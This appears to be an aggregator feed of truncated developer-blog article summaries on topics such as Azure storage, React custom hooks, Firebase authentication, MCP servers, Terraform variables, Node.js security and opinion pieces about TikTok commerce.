    🔗 What Is a URL Shortener? A URL shortener takes a long, unwieldy link and compresses it into a much shorter version — one that’s easier to share and remember. Example: Long: https://example.com/products/category/item?utm_source=email&utm_campaign=sale Short: https://cthshort.xyz/xyz123 Clicking the shortened link redirects the user seamlessly to the full URL. You input your long link. The system generates a unique alias (or lets you set a custom one if you're a premium user). This alias is stored with the original link in a local database. When someone clicks the shortened link, they’re instantly redirected to the original. Some platforms also support extras like analytics, expiration times, and branded URLs — and Cipher Tools Hub delivers these without compromising privacy. ✅ Custom A…  ( 4 min )
    Cursor AI Tips and tricks on Medium
    Cursor AI advice: hooking up MCPs (Figma, Browser, Context7, GitHub), using small .cursor/rules files for clear prompts, blending “vibe coding” with structured prompts, safely running Auto‑Run,some tips and real workflows like generating code from Figma frames. Read it here: Cursor AI Complete Guide  ( 3 min )
    Provide Storage for IT Department Testing and Training
    'Providing Storage for the IT department testing and training.' Storage Account: Naming Redundancy Network access Secure transfer Transport layer security Requirements: 'The IT department needs to prototype different storage scenarios and to train new personnel. The content isn’t important enough to back up and doesn’t need to be restored if the data is overwritten or removed.' To fulfill these requirements, we must create a storage account and apply appropriate settings. Here's the step by step process: In Azure, every project requires a resource group. Resource groups are a useful tool that helps you categorize your project resources. Go to Azure portal, search for resource groups, select Resource groups in the drop down suggestions. Note: The + Create a resource button provides a navi…  ( 4 min )
    ⚽ Calculating Premier League Win Probabilities Using Python and the Football-Data.org API
    As a football enthusiast and data science learner, I decided to analyze last season’s Premier League teams by calculating the probability of winning a specific number of games using the Bernoulli distribution. This article walks through how I used the Football-Data.org API and Python to extract match data and model win probabilities. 📦 Tools & Tech Stack Python 🐍 Requests (HTTP Library) Football-Data.org API Bernoulli Distribution Formula: 𝑃(𝑘 wins)=(𝑛/𝑘)𝑝𝑘 (1−𝑝)𝑛−𝑘 where: k = number of games won n = total number of games played (usually 38) p = estimated probability of winning a game 🔑 Step 1: Getting the API Key Sign up at https://www.football-data.org/ Get your API key from the dashboard Save it in a .env file like this: API_KEY=your_api_key_here 🔐 Make sure to add .env to your .gitignore so it's never pushed to GitHub. 📡 Step 2: Fetch Premier League Standings via API import requests import os from dotenv import load_dotenv load_dotenv() api_key = os.getenv("API_KEY") url = "https://api.football-data.org/v4/competitions/PL/standings" headers = {"X-Auth-Token": api_key} response = requests.get(url, headers=headers) data = response.json() 📐 Step 3: Calculate Win Probability import math def calculate_win_probability(team_name, wins, total_games=38): p = wins / total_games probability = math.comb(total_games, wins) * (p ** wins) * ((1 - p) ** (total_games - wins)) return team_name, round(probability, 6) 📈 Results 🤔 Limitations ✅ Conclusion Consuming real-world APIs Using statistical methods like the binomial distribution Thinking probabilistically about sports performance  ( 4 min )
    Why Gen AI Isn't Optional for Your Startup Anymore
    Your competitors are already building with AI. Here's what every software product owner needs to know about staying competitive in 2025. Generative AI isn't some distant future tech anymore. It's here, it's accessible, and it's changing everything about how we ship products. The question isn't whether you should adopt it. The question is how fast you can move. The Window for AI Advantage Is Closing Fast Remember when having a mobile app was revolutionary? That advantage lasted maybe 18 months before everyone caught up. AI adoption is happening even faster. Your customers are already using ChatGPT, Claude, and other AI tools daily. They expect that same intelligence in your product. Here's the brutal truth: if you're not integrating AI features now, you're falling behind. Your users will …  ( 4 min )
    Best AI Video Subtitle Translator Tools: Top Picks for Accurate Localization
    The global demand for multilingual video content has never been higher. Whether you're producing corporate training videos, social media campaigns, or educational tutorials, subtitles in multiple languages are now a standard, not a luxury. Adding subtitles in multiple languages does more than improve accessibility—it increases reach, boosts viewer engagement, and enhances SEO. Traditionally, creating and translating subtitles involved manual transcription, translation, and syncing—a costly process. If you're translating professional videos with .srt, .sub, or .vtt files—such as corporate learning content, multilingual ads, or training series—Pairaphrase deserves your attention. Why Pairaphrase Stands Out: Subtitle file compatibility: Natively supports standard formats like .srt (YouTube) .…  ( 6 min )
    [Personal Project #19] UEFA Women’s EURO 2025 Final: England Trusted Their Goalkeeper
    On July 28, 2025, in Basel, Switzerland, the UEFA Women’s Euro 2025 final was held. Hannah Hampton — and she delivered again. England won the shootout 3-1. And this win wasn’t just luck. England had already faced a penalty shootout in the quarterfinal against Sweden. two saves by Hannah Hampton. That match gave the team more than a win — it gave them trust in their goalkeeper. “If we reach penalties, we know we can win.” And during the game, England played as if that plan was clear from the start. In the 30 minutes of extra time, both teams were tired. But their plans were different. England didn’t try to attack. They focused only on defending. Stat England Spain Shots 0 5 Shots on target 0 0 Expected goals 0 0.72 Clearances 16 6 Interceptions 3 2 England didn’t take a si…  ( 5 min )
    WTF is WebAssembly?
    WTF is this? Day 2: WebAssembly - The Secret to Making the Internet Faster (and more Confusing) Hey there, tech-curious friends! Welcome to Day 2 of our daily series where we break down the mystifying world of emerging tech. Today, we're diving into the trendy realm of WebAssembly, because, let's face it, the internet can be slow, and we all hate waiting for our cat videos to load. What is WebAssembly? Imagine you're at a dinner party, and your friend, a software developer, starts rambling on about "compiling" and "machine code." You politely nod, pretending to understand, but really, you're thinking, "WTF is that?" Well, let me simplify it: WebAssembly (WASM) is a new way for computers to understand and run code. Think of it like a universal translator for the internet. It's a binary inst…  ( 4 min )
    The Dev Team's Guide to Sprint Planning Without the Agile Jargon
    Look, I've been in those sprint planning meetings. You know the ones—where someone spends 20 minutes explaining why updating a button color is "definitely an 8-point story" while the actual CSS change takes exactly 47 seconds. After years of watching teams drown in ceremonies, standups, and retrospectives that somehow never make anything retrospectively better, I'm convinced we're doing this wrong. Sprint planning shouldn't feel like performance art. It should help us ship code faster and with less stress. Most agile consultants have never pushed code to production at 2 AM on a Friday. They've never had a "simple bug fix" turn into a three-day archaeology expedition through code written by someone who left the company in 2019. Here's what I see happening in most dev teams: We spent Tuesda…  ( 7 min )
    How to 10X Your Development Workflow with Cursor MCPs
    If you've read our beginner's guide to MCPs, you now understand the basics of MCPs and have even built your own weather server. But here's where things get really exciting—the MCP ecosystem is exploding with specialized servers that are transforming how developers work. We're not talking about basic file operations anymore. Developers are building MCPs that connect AI directly to browsers, design tools, databases, APIs, and entire development pipelines. The result? AI assistants that can actually understand and work with your entire tech stack. The developer community has embraced MCPs in a big way. Here's what's happening: Browser Automation: MCPs like Playwright let AI assistants control browsers, test web applications, and scrape data—all through natural language commands—granting deve…  ( 10 min )
    Snowflake Streaming: Real-Time Data Pipelines Made Simple
    In our fast-moving digital world, data is always in motion. Every time someone opens a mobile app, receives a GPS notification, completes an online purchase, or interacts with a smart device, fresh data is generated. These small actions add up, creating a constant stream of valuable information. For businesses that want to stay ahead, reacting to this ingested data in real time is no longer optional—it’s essential. Traditional methods like batch processing involve storing data, waiting for accumulation, and then analyzing it in large chunks. While effective in the past, this approach delays insights and decision-making. In many industries—finance, healthcare, logistics, e-commerce—real-time reaction is now a competitive requirement, not a luxury. With Snowflake Streaming, businesses gain t…  ( 5 min )
    How SVG Became the Standard Icon Format
    Every app, be it mobile or web, is designed for multiple types of devices nowadays. Every component on your app has to look good on a tiny phone as well as on a massive desktop. Even tiny components like icons need to work everywhere without breaking apart in a larger display. If your site has icons, you’d need to create separate PNG files for every screen size for each of them, which can be very time consuming on top of being daunting. SVG solves this problem. A single SVG file is sufficient for all screen sizes because it is perfectly scaled everywhere. This article talks about all about the universal format, its benefits, and the best icon libraries that offer icons in SVG. Let’s get to it! SVG stands for Scalable Vector Graphics. It's basically a way to make graphics using math instead…  ( 7 min )
    Unleashing the Power of React with Custom Hooks
    In the realm of React development, custom hooks have emerged as a game-changer, offering developers a powerful tool to encapsulate logic and share it across multiple components. Let's delve into the world of custom hooks and explore how they can elevate your React projects. Custom hooks in React are JavaScript functions that start with 'use' and can call other hooks if needed. By creating custom hooks, developers can extract component logic into reusable functions, promoting cleaner and more maintainable code. import { useState, useEffect } from 'react'; const UseCustomHook = (initialValue) => { const [value, setValue] = useState(initialValue); useEffect(() => { // Side effects or computations }, []); return [value, setValue]; }; One of the key advantages of custom hooks is…  ( 4 min )
    Firebase Authentication: From Zero to Hero 🔐
    Overview Hi everyone! 👋 In this article, I'll walk you through how to integrate Firebase Authentication into a Nuxt application. We'll cover everything from the basics of Firebase Auth to building a complete authentication system with login, registration, and protected routes. Firebase Auth is honestly one of the best authentication solutions out there, it's secure, scalable, and saves you from writing tons of boilerplate code. Plus, it integrates beautifully with Nuxt.js! Let's start! 🤙 Firebase Authentication supports multiple sign-in methods, and you can choose the ones that fit your app: Email/Password: Classic authentication approach Google: Sign in with Google accounts Facebook: Social login with Facebook GitHub: Perfect for developer-focused apps Phone: SMS-based authentication …  ( 10 min )
    HTTP/3 & QUIC: Faster Entry for Cross-Border Businesses in China
    For cross-border businesses targeting the Chinese market, network quality is key. China's complex network environment often leads to high latency, unstable connections, and slow data transfer with traditional protocols, hurting user experience and business growth. But with HTTP/3 and its underlying protocol, QUIC (Quick UDP Internet Connection), things are changing. Built on UDP, QUIC is revolutionizing internet data transfer, offering significant network optimization for businesses entering China. Chinese users frequently switch between Wi-Fi and mobile data. Old TCP connections break when IPs or ports change, forcing reloads and logins, leading to a poor user experience and lost customers. QUIC's "connection migration" feature solves this. Instead of relying on IP and port, QUIC uses a u…  ( 4 min )
    Co‑Marketing Through Partnered Webinars: A Smart Strategy for Expanding Reach and Building Trust
    In the ever-evolving world of digital marketing, one tactic stands out for its ability to amplify reach, boost brand credibility, and drive meaningful engagement: partnered webinars. Also known as co-branded webinars, this approach involves teaming up with complementary brands, micro-influencers, or niche content creators to deliver joint webinars that provide value to shared audiences. Why Partnered Webinars Work Choosing the Right Partners Make sure your partner shares similar brand values, audience interests, and expectations for the collaboration. Define Mutual Goals Start by aligning on what success looks like - whether it's lead generation, brand awareness, sales enablement, or community building. Create Compelling Content Build your topic around a real pain point or trending subject that matters to both audiences. Make it informative, not salesy. Divide Responsibilities Assign roles - who will present, who will moderate, who will handle promotion, and who manages follow-up. Clear ownership prevents confusion. Promote Across Channels Leverage both partners' email lists, social channels, LinkedIn communities, and paid promotions if the budget allows. Use co-branded graphics for consistency. Engage During and After the Webinar Encourage Q&A, polls, and live chat to increase participation. After the event, share the recording and follow up with attendees using tailored nurture campaigns. Metrics That Matter To assess your webinar's success, track the following KPIs: Number of registrants and actual attendees Engagement rate during the webinar Lead conversion rate post-event Email list growth Social media mentions or shares These insights will help both partners understand ROI and refine future collaborations.  ( 4 min )
    5 AI Tools I Wish I’d Had as a Developer — Now in 2025
    🧠 5 AI Tools I Wish I’d Had as a Developer — Now in 2025 AI coding assistants aren’t new — but in 2025, they’ve transformed from clever autocomplete plugins into full-scale developer agents. According to a survey by Jellyfish, 90% of engineering teams now use at least one AI coding tool, and nearly half use two or more simultaneously — often Copilot plus Cursor or Gemini Code Assist. Source » Still the most mainstream choice, used by 42% of developers, Copilot has evolved into a full agent with deep GitHub integration. ✅ Supports multiple models: GPT‑4o, Claude, Gemini ✅ Integrates with: VS Code, Visual Studio, JetBrains, Neovim ✅ Offers suggestions, test generation, inline docs, and refactors 🔗 Learn more Unveiled at Google I/O Connect India 2025, Gemini Code Assist introduces a d…  ( 4 min )
    Explore & Understand Data Recovery Forensics: How Digital Evidence Is Found, Recovered, and Analyzed
    Data Recovery Forensics is the science of locating, extracting, and analyzing lost or deleted digital data—while ensuring it's legally admissible and tamper-proof. This process is crucial in cybercrime investigations, legal proceedings, and corporate security audits. Forensic recovery goes beyond normal file restoration. It involves: Imaging devices without altering original data Recovering deleted, hidden, or encrypted files Analyzing metadata, user activity, and system logs Documenting everything under strict legal standards (chain of custody) Smartphones & Tablets – Recover call history, chats, deleted files RAID & Server Systems – Rebuild broken RAID arrays, extract critical business data Drones (UAV) – Analyze GPS logs, flight paths, camera footage Cryptocurrency Wallets – Trace blockchain transactions, uncover digital fraud Malware-Infected Systems – Investigate breach sources, recover encrypted data CCTV & NVRs – Restore surveillance footage, even if deleted or damaged Deepfake Media – Detect fake videos and audio using forensic AI tools Supports criminal and civil investigations Protects against internal data theft Helps detect cyberattacks and insider threats Ensures digital evidence is court-ready Curious how digital evidence is recovered from different devices? digital forensics and cybersecurity.  ( 3 min )
    How do you showcase your dev projects? (Looking for feedback)
    Hey Dev Community! 👋 As part of a personal project, I’m trying to better understand how developers — especially juniors, freelancers, and career switchers — present their work. Too many great projects go unnoticed because building a portfolio takes time, design skills, and energy. I can’t say too much yet… but believe me, it’s worth your time! 😉 If you’ve got 5 minutes, I’d really appreciate your input: https://docs.google.com/forms/d/e/1FAIpQLSeD32nb3rJejmFhlxZNfLIAaorjZ8kYj9FNQfw0yZ3DwWSJqQ/viewform?usp=header Feel free to share how you currently showcase your work too — I’d love to hear different approaches. Thanks in advance to anyone who helps out 🙏  ( 3 min )
    Perl 🐪 Weekly #731 - Looking for a Perl event organizer
    Originally published at Perl Weekly 731 Hi there! The Perl Mongers once had hundreds of active groups. Now there are only 22 listed and even them are probably not very active. There are number of groups on Meetup mentioning Perl, however in reality many of those don't actually have Perl-related content or an inactive. On the Perl Weekly site we have a number of groups listed and a calendar of events based on the event.json file in our repository. I wish more organizers used this calendar and the Perl Weekly to reach new audiences. So here is an idea. We need someone who has time, energy, and interest organizing online Perl events. Each even could contain a presentation and then some free chat. The event(s) could be organized under various of these groups at times convenient for the local a…  ( 14 min )
    What is Time Complexity? (and Why You’re Probably Thinking About it Wrong)
    ❌ The Wrong Belief: When people first hear about Time Complexity, they often think: But this is not correct Student A writes this simple code in JavaScript: for (let i = 0; i < 1000000; i++) { console.log(i); } 💻 16GB RAM ⚡ SSD (Solid State Drive) 🚀 Fast multi-core CPU His program runs and finishes in just 1 second. Student B writes exactly the same code: for (let i = 0; i < 1000000; i++) { console.log(i); } 🖥️ 4GB RAM 🐢 Slower CPU 🧓 Mechanical hard drive Her program takes around 5 seconds to finish. No! Absolutely not. Both students wrote the exact same code using the same algorithm — a simple for loop that runs 1 million times. So why the performance difference? Factor Student A (Faster) Student B (Slower) RAM 16GB 4GB CPU Speed Fast, modern processor Older, slower processor Disk Type SSD (fast) HDD (slower) System Performance High Low For example, the same algorithm written in C++ may run faster than in Python because: C++ is a compiled language — the code is converted directly into machine code before execution, which makes it run very fast. Python is an interpreted language — the code is executed line-by-line by an interpreter at runtime, which usually makes it slower. Language Type Performance Impact C, C++, Rust Compiled Generally faster execution times due to direct machine code output Python, JavaScript, Ruby Interpreted Slower because code runs through an interpreter or virtual machine ✅ So What Is Time Complexity Then?  ( 4 min )
    The "Quick Design Audit" Lie
    Let’s kill the myth right here: there is no such thing as a "quick design audit." But teams keep saying it anyway — usually when conversion rates tank, user complaints pile up, or someone on Slack writes, “Something about this just feels... off.” That’s when the magic phrase gets dropped, always with a hint of optimism and a deadline like "can you do it by Thursday?" Here’s what they want: a neat bullet list of UI tweaks. Some line spacing fixes. Maybe a smart-sounding insight they can quote in a stakeholder meeting. Here’s what they actually need: a wake-up call. The phrase “design audit” sounds polite — like someone will check your alignment and hand you a report. But when done right, it’s a teardown. Not of your colours and buttons — of your thinking. Your assumptions. Your lazy pattern…  ( 4 min )
    2025 Developer Portfolio Tips: How to Keep Yours Modern & Professional 🚀
    Why You Need to Modernize Your Portfolio, Right Now Hey fellow developers! When was the last time you updated your portfolio? Are you perhaps still relying on a static page with outdated tech stacks from years ago? In the rapidly evolving dev ecosystem, your portfolio must evolve too. Interviewers aren't just looking for a simple list of technologies anymore. They want to know how well you understand the latest tech trends and how you apply them to real-world projects. An outdated portfolio with old tech stacks and unmaintained projects can actually overshadow your passion and growth potential. So, what kind of portfolio will stand out in the current and future job market? Let's highlight a few key trends: Continuous Updates and Thoughtful Curation: A "set it and forget it" portfolio is…  ( 6 min )
    🧱 What Are Terraform Variables? (And Why They Save Your Sanity at Scale)
    Hey everyone 👋 If you’re getting into Terraform, infrastructure as code (IaC), or building cloud environments that don’t fall apart every time you sneeze — you need to know about Terraform variables. At first, variables felt like just another “programming” thing I had to learn. But once I started working with real-world Terraform code — and especially when dealing with environments like dev, staging, and production — I realized that variables are the glue that holds it all together. Let me break it down the way I wish someone had for me 👇 Imagine you're ordering pizza for your office every Friday. But instead of writing the full order from scratch every week, you use a reusable note like: "Order one {size} pizza with {toppings} for {team_name}." That’s what Terraform variables let you do…  ( 5 min )
    Testrun
    This is a submission for the Redis AI Challenge: Beyond the Cache. What I Built Demo How I Used Redis 8  ( 2 min )
    Leveraging ChatGPT in Blue Team Cybersecurity Operations: Enhancing Defense with AI
    Leveraging ChatGPT in Blue Team Cybersecurity Operations: Enhancing Defense with AI In the evolving world of cybersecurity, defending systems and networks (the role of Blue Teams) is more complex than ever. With the rise of sophisticated threats, Blue Teams need innovative tools to keep up—and AI models like ChatGPT are proving to be valuable allies. This article explores how ChatGPT can support Blue Team operations, from threat intelligence and incident response to security automation and awareness training. We'll also discuss best practices, limitations, and risks, including how attackers might misuse ChatGPT through jailbreaking. Before diving in, let’s quickly clarify: Blue Teams are cybersecurity professionals focused on defense — detecting, analyzing, and responding to attacks to …  ( 5 min )
    The TikTok Aftermath: How the West Just Lost the Economic War
    Previous article... While Western lawmakers argued about data privacy, TikTok just executed the largest wealth transfer in human history. The devastating aftermath isn't coming—it's already here. We just haven't done the math yet. Americans now spend $32 million daily on TikTok Shop. That's $11.7 billion annually flowing directly from US consumers to Chinese manufacturers, bypassing every layer of the American economy. But here's the brutal reality: this is just the beginning. TikTok Shop launched in the US in September 2023. In 16 months, it hit $9 billion in sales. At current growth rates, it will process $50+ billion annually by 2026. That's the entire revenue of Walmart's e-commerce division—except none of it touches American infrastructure. Every TikTok purchase is an execution order …  ( 6 min )
    Why TikTok's PC Streaming Sucks: The $200 Billion Export Pipeline Disguised as a Social Media App
    Follow up Or: How we accidentally uncovered the biggest digital commerce conspiracy hiding in plain sight TikTok isn't a social media platform. It's a global export facilitation system disguised as entertainment, designed to funnel Chinese manufacturing directly to international consumers while extracting maximum revenue from both creators and viewers. Every "creative" feature is actually a commerce optimization tool. Don't believe me? Let's dive into the rabbit hole. 🐰🕳️ It started with a simple question: "Why is TikTok's PC streaming ecosystem so terrible?" While every other platform embraced desktop streaming (Twitch, YouTube, Instagram), TikTok actively sabotages it: Windows-only software that barely works Complex approval processes that can be revoked randomly Streamlabs requiring…  ( 7 min )
    Translating Tech Speak into Business Value Stories
    Translating Tech Speak into Business Value Stories For tech-savvy professionals like CTOs, product leads, or technical consultants, the ability to communicate complex development work to business stakeholders isn’t just helpful—it’s essential. Whether you’re pitching a new feature, securing buy-in for infrastructure upgrades, or aligning outsourced teams, bridging the language gap between technical depth and business clarity is what turns effort into impact. When developers speak in jargon—APIs, CI/CD, microservices—the business impact often gets lost. This isn’t just a communication problem; it’s a strategic risk. Misalignment between teams leads to: Project delays from misinterpreted goals. Underfunded initiatives due to unclear ROI. Undervalued tech teams that are seen as cost centers…  ( 4 min )
    Take me under your eagle wings!
    Any TripStack dev’s looking to mentor? I’m bridging from a background in ux/ui development and web design. I’m very eager and need to start making money like yesterday!!  ( 3 min )
    🔥 200 Project Ideas from Beginner to Advanced with Open Source Contributions🚀 10 AI Tools Every Developer Should Try in 2025
    AI is rapidly changing how developers write code, design, debug, and even deploy. In this post, I’ve curated 10 powerful AI tools that can supercharge your workflow — from coding assistants to design generators and productivity boosters. Whether you’re a solo dev, startup founder, or tech enthusiast, these tools are worth a look. 👉 Includes real examples, pricing notes, and how I use them in my own projects. Let me know which one you’re trying next or if I missed your favorite!  ( 3 min )
    Automatically take care of outdated browsers thanks to Browserslist and Github Actions
    Our policy is to support browsers released within the last two years. Previously, we used Browserslist to transpile our code and automatically add polyfills. At some point, we wondered if we could use the same configuration to inform users when their browser was too old — ideally, without needing to write or maintain that logic ourselves. Fortunately, there's a package that does exactly that: browserslist-useragent-regexp. It generates a regular expression based on your Browserslist config, which you can run against navigator.userAgent. Here’s a simple .browserslist.rc config targeting our policy: last 2 years not dead Then, you can generate the regex using a script in your package.json: { "scripts": { "supportedBrowsers": "npx update-browserslist-db@latest && echo \"export default …  ( 4 min )
    How Does Jack Dorsey's New App, Bitchat, Enable Internet-Free Chat?
    Jack Dorsey, known for co-founding Twitter and leading Block, has introduced Bitchat as a way to communicate without relying on the internet. This app steps in during scenarios like power outages or remote locations where traditional networks fail, offering a lifeline through Bluetooth technology. Bitchat leverages Bluetooth Low Energy (BLE) mesh networking to create connections between devices. Instead of depending on internet servers, it forms a peer-to-peer network. Your device connects directly to others nearby, typically within 100 feet. Messages hop from one device to another across the network, extending the reach far beyond standard Bluetooth limits. If a recipient is not immediately available, Bitchat uses a store-and-forward system to hold messages until delivery is possible. Thi…  ( 4 min )
    Building AI dApps Without AWS: How haveto.com Is Replacing Centralized Infra
    For years, developers have relied on centralized cloud giants like AWS, Google Cloud, or Azure to deploy applications. They work, but they also come with high costs, vendor lock-in, and limited transparency. When it comes to AI-driven decentralized applications (dApps), the problem becomes even worse: AI workloads are expensive and require massive compute power. Hosting AI models on centralized clouds means sacrificing transparency. Most blockchains can’t handle complex AI tasks due to scalability issues. This is where platforms like haveto.com come in, allowing developers to deploy AI dApps directly on-chain without touching centralized infrastructure. haveto.com is redefining how developers build AI-powered applications. Instead of renting centralized servers, developers can now r…  ( 4 min )
    Why learning product every day while building gives you an unfair advantage
    Why learning product every day while building gives you an unfair advantage Building a startup without learning product is like driving with foggy windows. You’re moving, but you’re not really seeing where you're going. A lot of solo founders and indie hackers fall into the same trap: they ship stuff and hope for the best. They think speed equals progress. But if you're shipping the wrong thing, speed just takes you further off course. Meanwhile, the founders who spend just 10 minutes a day improving their product skills make sharper calls and avoid the dumb mistakes. That’s what gives them an edge. This isn’t about theory or frameworks. It’s about learning just enough, every day, to improve how you build and what you decide. Small, consistent effort beats big learning sprints. If you sp…  ( 5 min )
    10 Open Source AI Tools Every Developer Should Know
    AI is everywhere right now from flashy GPT-5 demos to enterprise copilots that promise to do your job for you. But if you're like me, you're more interested in what you can actually use today as a developer. Forget the hype. I’ve spent the last few months exploring a bunch of open-source AI tools that are already making my workflow faster, cleaner, and honestly more fun. These aren’t vague “AI productivity” platforms they’re focused, well-built tools designed for developers who build, test, debug, and ship things. If you’ve been curious about what open-source AI is capable of, or just want to cut down on repetitive work without relying on closed black boxes, this list is for you. Before jumping into the tools, here’s why I lean open source for most of my AI stack: Transparency: I can audit…  ( 8 min )
    🚀 Introducing ToolBox Hub – Your All-in-One Suite of Free Online Tools
    🧰 Introducing ToolBox Hub – Your All-in-One Suite of Free Online Tools Hey DEV community! 👋 I’m excited to share a project I’ve been working on passionately — **ToolBox Hub: a free online platform offering a growing collection of helpful tools for developers, designers, creators, and everyone in between. 🌐 Visit the site: https://dev-toolshub.blogspot.com 🔧 What is ToolBox Hub? ToolBox Hub is a web-based toolbox that combines 20+ utilities into a single platform, designed for everyday productivity and tech needs. Whether you're coding, creating, or calculating — there's a tool for you. 🚀 Features and Tools ✨ Fitness & Health Tools BMI Calculator BMR & Calorie Analyzer Keto Macro Planner Breathing Exercise Guide 🖼️ Image & Design Tools Social Media Image Resizer Image to Text Extracto…  ( 4 min )
    Better MCP tools/call Error Responses: Help Your AI Recover Gracefully
    When building MCP servers, we often focus on the happy path: what happens when tools execute successfully. But what about when things go wrong? The quality of your error responses can make the difference between a frustrated user and an AI that recovers gracefully on its own. Before diving into error response strategies, it's crucial to understand the distinction between two types of errors in MCP: These are errors in the MCP communication itself: Connection closed or request timeout Tool not found Malformed requests or protocol violations Internal server errors These errors trigger standard JSON-RPC error responses and typically indicate something is fundamentally broken with the request or the server. { "jsonrpc": "2.0", "id": 1, "error": { "code": -32001, "message": "Reque…  ( 5 min )
    🚀 From Zero to 800+ LeetCode Problems: My Full-Stack Development Journey
    Hey Dev Community! 👋 I'm Atul, a recent B.Tech graduate in CS sharing my development journey. Over the past year, I've built 6+ full-stack projects, solved 800+ LeetCode problems, and completed a remote internship. Here's what I've learned and built! 800+ LeetCode Problems solved (focusing on DSA in Java) 6 Full-Stack Projects completed 3 Months Remote Internship at DIGINIQUE TECHLABS Tech Stack: Java, Spring Boot, JavaScript, Node.js, React, MySQL, MongoDB During my internship at DIGINIQUE TECHLABS, I learned that theory ≠ production: Key Takeaways: Code reviews taught me more than any tutorial Writing maintainable code > writing clever code Documentation is your future self's best friend Remote work requires excellent communication skills Instagram Backend Clone 📸 Tech: Java, Spring …  ( 4 min )
    欧洲程序员德国篇
    德国的计算机产业在欧洲属于顶级水平,尤其在工业软件、嵌入式系统、企业服务、AI 研究、汽车科技、区块链等领域非常强。德国的技术氛围偏严谨、工程化、规范,适合喜欢稳定、注重质量的程序员发展。 公司 德国城市 简介 Google 慕尼黑、柏林 慕尼黑为 Google Cloud Europe 技术中心 Microsoft 慕尼黑、柏林 企业解决方案支持,Azure 团队 Amazon 慕尼黑、亚琛、柏林 AWS、Alexa、物流自动化等工程部门 Apple 慕尼黑 芯片研发中心,重点招收嵌入式和EDA方向工程师 Meta (Facebook) 慕尼黑 有AI研究部门,也招聘后端/前端工程师 IBM 多地 有多个研发实验室,主攻企业服务、云计算和AI Oracle 多地 企业服务、数据库、云平台 公司 城市 领域 SAP 瓦尔多夫(Walldorf) 欧洲最大软件公司,ERP/企业服务,Java/ABAP 多 Siemens 慕尼黑 工业4.0、嵌入式系统、物联网、AI,C++/嵌入式 Bosch 斯图加特 汽车电子、IoT、大数据,广招程序员 Infineon 慕尼黑 半导体、芯片安全、嵌入式开发 Zalando 柏林 欧洲最大时尚电商之一,使用微服务、Scala、Kotlin Celonis 慕尼黑 Process Mining 独角兽,技术含量高 TeamViewer Göppingen 远程控制软件,跨平台开发多 N26 柏林 金融科技,移动银行,使用 Kotlin、React、Docker 等 HelloFresh 柏林 食品科技 + 数据驱动的物流系统 Delivery Hero 柏林 外卖平台,全球布局,技术栈广泛 Rocket Internet 柏林 创业工厂,孵化了很多科技企业 Tado° 慕尼黑 智能家居温控,偏物联网、移动端开发 方向 德国需求关键词 工业软件 C++, Java, Qt, 工控协议 嵌入式/IoT C/C++, Rust, RTOS, Linux Kernel 企业服务 Java, Spring Boot, ABAP (SAP内部语言) Web开发 React, Angular, Node.js, TypeScript 数据/AI Python, TensorFlow, PyTorch, Hadoop 云 & DevOps Docker, Kubernetes, Azure, AWS, GitLab CI 项目 表现 工资水平 中上水平(中位年薪 €60k - €90k,顶级可 €120k+) 签证友好度 蓝卡(Blue Card)适合程序员申请,门槛年薪 €45,300 左右(2025) 英语工作比例 大公司/初创用英语,小公司和传统企业偏德语 加班文化 普遍不加班,周末/节假日完全休息 生活成本 相对合理,柏林租金便宜,慕尼黑较贵 社会福利 医保+养老金系统完善,裁员保护强 工程文化 偏重质量、安全、流程规范,不喜欢快速上线、频繁改动 德国蓝卡(Blue Card): 程序员是优先职业 本科及以上学历(计算机或类似专业) 薪资要求 45,300 欧(2025),远低于美国 H1B 要求 可申请家属团聚,子女上学免费 工作满33个月即可申请永久居留(或会德语的话21个月) 签证担保公司列表:SAP、Bosch、Celonis、N26、Zalando、HelloFresh 等都可提供签证支持。 💻 找工作的热门网站 LinkedIn Jobs StackOverflow Jobs(已迁移到 Indeed) Glassdoor 德国 Relocate.me(专门收集签证友好公司) BerlinStartupJobs.com StepStone.de(德语,职位多) 德国程序员岗位非常适合: 有 Java / C++ / Python / React / DevOps 技术背景 愿意稳定发展、不喜欢加班 想长期移民欧洲 英语流利(德语是加分项,不是刚需) 如果你告诉我你现在的: 技术栈(Java?前端?嵌入式?AI?) 英语/德语水平 学历与工作经验 我可以帮你定制一套德国求职 + 移民路径规划。 需要我帮你推荐几家适合你背景的公司吗?  ( 3 min )
    ⚽ Analyzing Free Football Streaming Platforms Using DevTools & Lighthouse
    Watching live football online has become more accessible than ever, thanks to a variety of free streaming platforms. As a web developer interested in performance optimization and streaming tech, I decided to analyze how these platforms perform under the hood. One interesting platform I came across is futbol libre, which provides free access to live football matches from various global leagues like La Liga, Copa Libertadores, and more. Using Chrome DevTools and Lighthouse, I ran performance audits on futbol libre to understand: Time to First Frame Buffering behavior on slower networks JavaScript bundle sizes Third-party script load times Mobile responsiveness Initial load time was relatively fast (~1.2s on 4G). Minimal layout shifts, even with embedded video players. Ad scripts were present, but didn't significantly affect load performance. Responsive design worked well across devices. Google Chrome DevTools Lighthouse CLI WebPageTest (for cross-validation) uBlock Origin (to compare ad vs. no-ad performance) Platforms like futbol libre show that free sports streaming can be performant — but also come with challenges like maintaining stability, avoiding spammy ads, and ensuring compliance with local laws. If you're interested, I’ll publish a follow-up with automated Puppeteer scripts to run continuous audits on similar platforms. Let me know in the comments!  ( 3 min )
    Voice Appointment Scheduler - Smart Business Automation 🎤
    This is a submission for the AssemblyAI Voice Agents Challenge I built a Voice Appointment Scheduler - a business automation voice agent that streamlines appointment booking through natural voice commands. This addresses the Business Automation Voice Agent prompt by automating a core business process that companies use daily. The agent handles real-world scenarios like: "Schedule appointment with Dr. Nidal tomorrow at 3 PM" "Book meeting with Lubaba Radwan next Monday at 2 o'clock" "List my appointments" "Cancel my appointment" Perfect for medical offices, service businesses, sales teams, and support centers who need efficient appointment management without manual data entry. 🌐 Live Demo: https://lubabazwadi2.github.io/VoiceChallenge/ Ultra-responsive voice recognition with AssemblyAI's …  ( 5 min )
    Top 6 Node.js Security Best Practices
    When you run your online store with Node.js, you've picked a quick and expandable backend. But high speed brings big duties to keep things safe. Cyber-attacks on the internet are getting smarter at attacking online shops. Just one weak spot in your Node.js app could cause stolen info sneaky admin logins or money scams. Let's go over key Node.js safety steps made for online store owners and founders so that you know what your team should focus on. Hackers love outdated packages. Your app's node_modules folder can grow with third-party libraries, some might be maintained or have known security flaws. What you should do: Often Run npm audit or yarn audit. If your online store handles customer info or payments unpatched dependencies are a risk, you can't take. Don't put your trust in form…  ( 5 min )
    Querying MongoDB:SPL Lightweight Multisource Mixed Computation Practices #4
